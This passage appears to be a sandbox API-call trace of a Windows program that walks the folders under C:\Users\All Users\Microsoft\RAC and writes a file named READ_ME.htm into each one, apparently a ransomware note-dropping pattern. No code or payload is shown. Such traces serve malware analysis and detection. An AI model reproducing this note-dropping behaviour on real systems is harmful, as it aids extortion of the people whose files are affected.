lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.004] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.004] SetErrorMode (uMode=0x0) returned 0x1 [0142.004] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x29 [0142.004] SetErrorMode (uMode=0x1) returned 0x0 [0142.004] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.004] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.004] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.005] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.005] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.005] SetErrorMode (uMode=0x0) returned 0x1 [0142.005] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0142.005] SetErrorMode (uMode=0x1) returned 0x0 [0142.005] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.006] SetErrorMode (uMode=0x0) returned 0x1 [0142.006] GetFileType (hFile=0x1d0) returned 0x1 [0142.006] WriteFile (in: hFile=0x1d0, lpBuffer=0x293e0e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x293e0e0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.007] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2e [0142.007] SetErrorMode (uMode=0x1) returned 0x0 [0142.007] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.008] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.008] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0142.008] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.008] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.008] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.008] SetErrorMode (uMode=0x0) returned 0x1 [0142.008] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2e [0142.008] SetErrorMode (uMode=0x1) returned 0x0 [0142.009] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.009] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.009] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0142.009] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.009] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.009] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.009] SetErrorMode (uMode=0x0) returned 0x1 [0142.010] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0142.010] SetErrorMode (uMode=0x1) returned 0x0 [0142.010] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.010] SetErrorMode (uMode=0x0) returned 0x1 [0142.010] GetFileType (hFile=0x1d0) returned 0x1 [0142.010] WriteFile (in: hFile=0x1d0, lpBuffer=0x2944490*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2944490*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.012] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x2a [0142.012] SetErrorMode (uMode=0x1) returned 0x0 [0142.012] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.012] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.012] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38b98140, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x38b98140, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0142.012] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0142.012] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef190f0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.013] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.013] SetErrorMode (uMode=0x0) returned 0x1 [0142.013] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x2a [0142.013] SetErrorMode (uMode=0x1) returned 0x0 [0142.013] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38b98140, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x38b98140, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0142.013] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0142.014] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef190f0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1 [0142.014] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1 [0142.014] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.014] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.014] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.014] SetErrorMode (uMode=0x0) returned 0x1 [0142.014] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0142.014] SetErrorMode (uMode=0x1) returned 0x0 [0142.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.014] SetErrorMode (uMode=0x0) returned 0x1 [0142.015] GetFileType (hFile=0x1d0) returned 0x1 [0142.015] WriteFile (in: hFile=0x1d0, lpBuffer=0x294ae78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x294ae78*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.016] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x25 [0142.016] SetErrorMode (uMode=0x1) returned 0x0 [0142.016] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.016] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.016] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.016] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca3defb0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca3defb0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca4c37f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2515.tmp", cAlternateFileName="")) returned 1 [0142.016] 